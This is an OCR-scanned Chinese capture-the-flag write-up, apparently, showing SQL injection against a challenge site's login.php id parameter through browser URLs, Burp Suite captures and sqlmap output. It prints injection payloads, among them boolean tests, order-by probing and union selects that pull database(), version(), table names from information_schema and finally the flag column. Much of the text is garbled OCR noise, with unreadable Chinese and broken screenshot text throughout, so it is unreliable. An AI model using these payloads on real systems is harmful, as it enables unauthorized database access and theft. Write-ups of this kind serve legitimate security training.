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<!-- login.php?id=1 -->

Tooay
/html

XN TEARG? 2

<« CcC O ® FZ% | 492b9bbb4bd1486c8698222d1eda’7a632eadb99579c42fc.changame.ichungiu.com/login.php?id=1 Yr e [+]
WA & B2 B Google®i® K CTRRARCTFL. @ misw® W =8 -BugkuCTF @ [(MA=ERe (42 @ iz, == |f. © EEELOew-. @ CTRESIR-CIF. »
welcome admin~
< C 0 O F== | 492b9bbb4h41486c8698222d1edar7a632ea4b99579c42fc.changame.ichungiu.com/login.php?id=2-1 w O 0
B & == B Google#hz B CTREERECTFL © wirtt® W B -BugkucTF J) (M2 (58 (42 B win, E==! (f.. © EESROcl-. @ CTFRERTE-CTF. »
something error~
< C O O F=£ | 492b9bbb4b41486c8698222d1eda77a632ea4b99579c42fc.changame.ichungiu.com/login.php?id=1%27%20and%201=1# % 6 0O
WA % =& B Google®iE £ CTRERECTFT. @ wist® W BH-Bug CTF () [REDRS FEE. )CSDN -... [ wom, SEE [fr. © EESRAe - @ CTRETRCTF.. »

welcome admin-~

WA T ZFEN, BWEBGR. sqimapll—i, HEHBH.

[sudo] zhang)

ensions: HTTP method: size:

Error Log: /home/zhangyu/dirsearch ror 8_17-85

ne.ichungiu.com/_21-81-18_17

7] Starting:




H—¥ B, FF 7T index.phpFirobots.txt

< C O O F==| 492bobbb4b41486c8698222d1eda77a632ea4h99579c42fc.changame.ichungiu.com/robots.txt w O 0
WA % EE B Google#HE R CTFEEE|CTFL © mmeR W EE -sugkucTF ) (MEZ2 EER. (4 B o, Eg= (f. O EEEReL-. @ CREgIACTF. »
User-agent: *
Disallow: /
nothing here”
be careful”
B sz b . N .
B LTV Aindex phpKIf 5, #t< B SR 25—
<« cC 0 & 492b9bbb4b41486(8698222d1eda77a632ea4b99579c42fcchangame.\(hunq\u.com/indexlphp e [+]
WA % == B Google @iz K CTREE|CTFL. © ks W EE -BugkuCTF ) (REEe 5892 (45 @ wio, E=s (. © SESLOCL- @ CTFERTARCTF.. »

‘ - = RREEREIMWPT .
KEERR: EMoginZ i, ERZEEHTIPRIS02BkEHIEAER. Fxtk, RTIMEBEFFRK! | | ARKEHT. . . .
T Hburpsuitedl £, EFhttphistory

Burp Project Intruder Repeater Window Help

[ Dashboard ITarget TP v I Intruder TRepeater T Sequencer I Decoder T Comparer I Extender T Project options TUser options ]

Intercept | HTTP history IWebSo(ketS history T Options ]

‘ Filter: Hiding CSS, image and general binary content |®
# A|Host | Method | URL | Params | Edited | Status | Length | MIME type | Extension | Title | Comment |TLs | IP |

& Ritp /7 7duds89aarl/a6lda...  GEI Tlogin. phpfid=_1 7 414 7 Text i T30 128 240

7 http://7d0d589aaf174612a... GET Jindex.php 200 213 HTML php 1.31.128.240

8 http://7d0d589aaf174612a... GET /b68a89dlc4a097a9da63|b3acds 302 281 HTML php Loading... 1.31.128.240

] http://7d0d589aaf174612a... GET /b68a89d1lc4a097a9d8631b3acd. .. 200 303 HTML php Loading... 1.31.128.240

10 http://7d0d589aaf174612a... GET Jindex.php 200 306 HTML php 1.31.128.240

11 http://7d0d589aaf174612a... GET [favicon.ico 404 647 HTML ico 404 Not Found 1.31.128.240

1z http://7d0d589aaf174612a. GET /b68a89dlc4a097a9da63|b3acds 302 384 HTML php Loading... 1.31.128.240

13 http://7d0d589aaf174612a. GET /b68a89d1lc4a097a9d8631b3acd. .. 200 396 HTML php Loading... 1.31.128.240

14 http://7d0d589aaf174612a. GET TTavTC o ee 404 647 HTML ico 404 Not Found 1.31.1 40

15 http://7d0d589aaf174612a. GET Jindex.php 200 213 HTML php 111.202.98.85

16 http://7d0d589aaf174612a. GET /b68a89dlc4a097a9da63Ib3acds 302 291 HTML php Loading... 111.202.98.85

17 http://7d0d589aaf174612a... GET /b68a89dlc4a097a9d8631b3acd. . 200 303 HTML php Loading... 111.202.98.85 ]
15 http://ciscobinary. openh2é GET TOTETT B TURGF -2 e LT T A as Ut zip §8.221.134.155 5
< J I

Reguest | Response

Raw | Params | Headers | Hex

-
>

GET findex.php HTTP/1.1

Host: 7d0d5859aafl74612a373b68da760aa65d75825c1b85e4b10. changame . ichungiu. com
User-agent: Mozilla/5.0 (¥11; Linux x86_64; rv:68.0) Gecko,/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml:q=0.9,*/%;q=0.8
Accept-Language: en-US,en:gq=0.5

Accept-Encoding: gzip, deflate

Connection: close

Cookie: __jsluid_h=Bc307a2d433067ab74e0ddfh24e67d11
Upgrade-Insecure-Reguests: 1
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R, FiAindexphp/a302EEME| T 55—, REXEER, RWAEM—, HLEmA RN FE21.

/b68a89d1c4a097a9d8631b3ac45e8979.php

/b68a89d1c4a097a9d8631b3ac45e8979.php

Burp Project Intruder Repeater Window Help

[ Dashboard TTarget T P

Intercept | HTTP history IWEbSuckets history TOpt\ons ]

Tlntruder T Repeater I Sequencer TDemder TCnmparer TExtendar TPrnJe(t options TUser options ]

| Filter: Hiding C55, image and general binary content |®
# 4 Host | Method | URL | Params | Edited | Status | Length | MIME type | Extension | Title | comment |TLs |Ip |

3 REtp: /77 dUasEYaatl /46124, GE Tiagin. php7id=1 v 200 7 text php 131128, 240 7
7 http://7d0d589aaf174612a... GET findex.php 200 213 HTML php 1.31.128.240

8 http://7d0d589aaf174612a... GET b68aBId1c4a097a9d863Ib3ac4s5. .. 302 291 HTML php Loading 1.31.128.240

9 http://7d0d589aaf174612a... GET (b68aBId1c4a097a9d8631b3ac4. . 200 303 HTML php Loading 1.31.128.240

10 http://7dod589aafl74612a. . 1.31.128.240

EER TSP RSN GET request to http://7d0d589aaf174612a373b68da760aa65d75825¢1685e4b1 om/b68aBId ] 31 128 240

12 http://7d0d589aafl74612a. . 1.31.128.240

13 http //7d0d589aaf174612a. .. | Previous | | Next || Acion | 1.31.128.240

14 http://7d0d589aafl74612a. . 1.31.128.240

15 http://7d0d589aaf174612a... Request | Response 111.202.98.85

16 http://7d0d589aafl74612a. . 111.202.98.85

17 http//7d0d589aaf174612a Raw | Params | Headers | Hex 111.202 98.85  _/
1_Er http:ficiscobinary.openh26 | Name [value i , 88.221.134 155‘ § X




- v r e
GET /bE8aB9d1c4a097a9d8631b3ac4528979.php HTTP/L.1
e Host 7d0d589aaf174612a373b68da760aa65d75825c1b85e4b10.changam...
User-Agent Mozilla/s. 0 (X11; Linux x86_64; nv.68.0) Gecko/20100101 Firefox/68.0
Raw | Params | Headers | Hex Accept text/html, applicationfxhtml+xml, application/xml, q=0.9 %/*,q=0.8
1 GET /b&BaB9d1c4a097a9d8631b 3, ::::::_;i:::fnze :;ipus".:fr;;:;o.s ]
2 Host: 7d0dSE9aatl74612a373b6H Connection clusle
3 User-Agent: Mozilla/5.0 (¥11; A A
4 Accept: text/htnl,application Cookie _ jsluid_h=8c307a2d433067ab74e0ddfb24e67d11
S Accept-Language: en-Us, en; g=0f Upgrade-nsecure-Requests 1
& Accept-Encoding: gzip, deflat
7 Connection: close
3 Cookie: __jsluid_h=8c307az2d43
S Upgrade-Insecure-Requests: 1
10
11 a
! E
-
0 matches m Preth,

XA R B A T E K15 R kheaders, R )5 &E F A Bk%E W I i headers:

Burp Project Intruder Repeater Window Help

”Dashboard TTarget T Prox Tlﬂtruder TRepeatEr I Sequencer ]’Decuder T Comparer I Extender T Project options I User options ]

HTTP history TWebSn(kets history I Options ]

| Filter: Hiding CSS, image and general binary content |®
# 4 |Host | Method | URL | Params | Edited | Status | Length | MIME type | Extension | Title | Comment |Ts | Ip |
3 hitp /77dudsg9aarl /4elZa... GEI Jlegin.php?id=1 v 200 17 text php 1311282480 I
7 http://7d0d589aafl74612a... GET findex.php 200 213 HTML php 1.31.128.240
8 http://7d0d589aafl74612a... GET /b68a89d1lc4a097a9da63lb3ac4s 302 291 HTML php Loading... 1.31.128.240
9 http://7d0d589aafl74612a... GET /bE8a89d1lc4a097a9d8631b3acs. .. 200 303 HTML php Loading... 1.31.128.240
10 http: //7d0d589aaf174612a GET = = 1.31.128.240
11 http: //7d0d5B9aaf174612a GET ET request to http://7d0d58%aaf174612a373b68da760aa65d75825c1 1.31.128.240
12 http: //7d0d589aaf174612a GET 1.31.128.240
13 http://7d0d589aaf174612a. .. GET | Previous | | mNext || Action | 1.31.128.240
14 http: //7d0d589aaf174612a GET 1.31.128.240
15 http://7d0d58%9aaf174612a... GET Response 111.202.98.85
18 http://7d0d58%9aaf174612a... GET 111.202.98.85
17 http://7d0d58%9aaf174612a... GET Raw | Headers | Hex | Render 111.202.98.85
18 http: f/ciscobinary.openh26...  GET 88.221.134.155 ¥
< Name | Walue | _2 . 'S
HTTP/1.1 302 Found
Reguest | Response Date Mon, 18 Jan 2021 09:21:40 GMT
Content-Type text/html
Raw | Params | Headers | Hex Content-Length 57
1 GET /b&8a89dlc4a097a9d 8631 b3ac 452897 " i .
2 Host: 7d@dsssaafl74612a373bssda760aag page 10gin.php?id=1 r
5 User-Agent: Mozilla/5.0 (X11; Linux x| [ecation JbEEaggdlcdalsyada631b3ac45e8979. php
4 Accept: text/html,application/xhtmL+xff X-Via 5L 0d60de7,-
5 Accept-Language: en-US,enig=0.5 X-Cache bypass
Accept-Encoeding: gzip, deflate
Connection: close
Cookie: __jsluid_h=8c307a2d433067ab74
Upgrade-Insecure-Requests: 1
1 <html= =
2 <head=<title=Loading...</title=</head=> [v
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sqlmap i H >R i 27 /R B 1 B 18 B ¥

[ 1 UNION qu ndom num ) columns "
[ 1 UNION qu (NULL) - 21
[ ] UNION qu ndom num to 4@ columns’
[1 24] 0 IL UNION que (NULL) - 41
[ 1 0 i JL UNION qu y (random num t columns'
[17 1 0 i UNION € (NULL) - 61 "
[ 1 UNION qu / indom numbe: columns’
[ 1 UNION = i imns "
[ 1 0 )L UNION qu (ra ) 0 100 columns’
[17 1L 0 ng if the inje on point on GET p 'id" is false positive
GET parameter 'id' is wulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the followi inj ion point(s) with a total of 389 HTTP(s) requests:
Parameter: id (GET)
boolean-based blind
AND boole sed blind - WHERE or HAVING c

1 [INFO] the back-end DBMS is MySQL
> 5.0.1

logged to t files under zhang)
t updated sqlmap for more than 200 days




[*] ending @ 17:39:41

{H R KA payload R unioniE N, 85 B8 a7 84 5 1 .

< C 0 O F=£ | d94c7dB8b983349c0bc54dbB83989c81cbebf5df788b44411d.changame.ichungiu.com/I0gin.php?id=1 Y e [+]

2 Omm W 5= B Google#Biz f CTREEACTFL. © mptt W BH-Bugku CTF ) [RE=e mH8E. (4zmE) CcSDN - [ wm, SEe (. O EEERew - @ CTFEZIECTR. »

id username

1 flag

< C 0 O F %2 | d94c7d8b983349c0bc54db83989c81cbebf5df788b44411d.changame.ichungiu.com/I0gin.php?id=1%27%200rder%20by%201%20# * O O

Howm W I B Google#E L CTREBEEICTFL. © wisttR W =8 -BugkuCTF () [RERe mE8E.. (455355) CSDN -... W, EEE! |fr. O EESeel-. @ CTHEEISCTE. »
id username

1' order by 1

& C O O A2 | d94c7d8b983349c0bc54db83989c81cbeb5df788b44411d.changame.ichungiu.com/I0gin.php?id=1%27%20order%20by%201,2,3%20--+ * 6 O

HOmA % SE B Google @i K CTRERE|CTFL © wrts ® 28 -Bugku CTF () (AgRe =82 (428 csON .. [ wmm, EEE . © mmepiel . @ CTHERTECTF. »
id username|

1" order by 1

XEfFEHorderby RIMESFHMAAERE T, NZRATETES.

ETHURLA £ 5} 85| 5 M2 #3347 T URLGRAS, BT LA BRI %27 #1%20.

XEFANTREERMS, FMaxhacker#TiEN, MAMEHIFEASEH CHITURLRG, SFEE—FHER, KFKBBIXHEHE
BEEZEZEE.

ETREHWP, GETT AHESHRSQLIENE S,

1' union select from (select database a join (select version



< C O O 7%= | d94c/d8b983349c0bc54db83989c81cbe6f5df788b44411d.changame.ichungiu.com/I0gin.php?id=1%27%20union%20select%20*%20from%20(select%20database())%20a%20j... ¥ e [+]

AR % 5E B Google®hmE f CTREEE|CTFL © woatts ®@ 8 -Bugku CTF () (RE=R 552 (4545) CSDN -... W, EEE (. O EEesel - @ CTFEEIECTR. »
id|username|
1 |flag

RERF—E—EEER, BHEURLRJENHEBRRRRHER %23, WRR# < W T X AR

< C O O FZ%£| d94c7d8b983349c0bc54db83989c81che6f5df788b44411d.changame.ichungiu.com/I0gin.php?id=1%27%20union%20select%20*%20from%20(select%20database())%202%20j... ¥« €@ ©
Howm % =% B Google#hE R CTREFECTFT. © ot B BB -Bugku CTF () [RER2 BEZ.. (4515) CSDN -... W, BEE! |fr.. © EESEOeY - @ CTFEETECTE. »
id username

1' union select * from (select database()) a join (select version() ) b

W Y5 BR B A X FROEATURL S, #hAAFahdud k.
BEMEE, BAIEMEE TRAMEEE, AtaRBria? Bhid=1, BERd=1HAE, BACIdSC8— M NFERIE,
BEEEERKGERERERT .

<« C O O A 22| d94c7d8b983349c0bc54db83989c81cbe6f5df788b44411d.changame.ichungiu.com/I0gin.php?id=-1%27%20union%20select%20*%20from%20(select%20database())%20a%20j... ¢ e [+]
Howm % ZE B Google#hE R CTFEFRE|CTFL. © mptR B 8 -sugkucTF D [AEZ: £8=.. (442145 CSDN -... Wi, BEE .. O EEERmel - @ CTREATECTF. »
id H username

sqli[5.5.50-0ubuntu0.14.04.1

ion select from (select database a join (select versi

BB T AABURELARNRE S, HEER:

1' union select from (select group_concat(table_name) from information_schema.tables where tabl

e _schema=database a join (select version b %23

< C O O F#2 | d94c7d8b983349c0bc54db83989c81cbe65df788b44411d.changame.ichungiu.com/I0gin.php?id=-1%27%20union%20select%20*%20from%20(select?%20group_concat(table n.. ¥% & ©
Howm W =E B Google#ZhE £ CTRERECTFL © woatt W E8 -Bugku CTF () [REZRe 582 W, FEE (f.. © mEsnael-. @ CTRESISCTF. »
did username
|[users|[s|5.50-0ubuntu0.14.04.1
_

B T sqlix AN B E B A Musers®, HSEFEFRPEERAlagh = FE,

<« C 00 O 4 &= | d94c7d8h983349c¢0bc54db83989¢81cbebf5df788b44411d.changame.ichungiu.com/I0gin.php?id=-1%27%20union%20select%20*%20from%20(select%20group_concat(table n... & e [4+]

B wAm % 5% B Googledhii R CTREERECTFL © sopR W EE-BugkucTF () (R E8%. (4557 5) CSDN -... Wi, EEE! | O EEERAeL-. @ CTRERIECTF. »
id username

users|id,username,flag 9¢861b688330

EB T lagh 7B .
flag_9c861b688330
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B2 wA @ == Bk Google #HiF

C 00 O FZ=% | d94c7d8b983349c0bc54db83989c81cbebf5d788b44411d.changame.ichungiu.com/I0gin.php?id=-1%27%20union%20select%20*%20from%20(select%20flag_9c861b688330%..

& orEEECcFL.  © mowsm ® Em8-BugkucTF @

id

username

flag{c41eeOcc-7c75-438c-ace5-abceee1dd265)|id,username,flag 9c861b688330

TRHMEER T flag. XEBMEB T AR,

w0 DN

http 2 5€ 7] 55 sqVE N [ R R
SQVEANT 85| 5 &

SQLEA]—EEEX, MRARESHEERNLSR
R IRsqUE NS IEFRF, 7T LA BB R 7

users b %23

[(MEZ=e FER...

(4%5) CSDN -...

@ o, E== |f.

O EESRAIE -...

@ CTFESTECTF..

% O O
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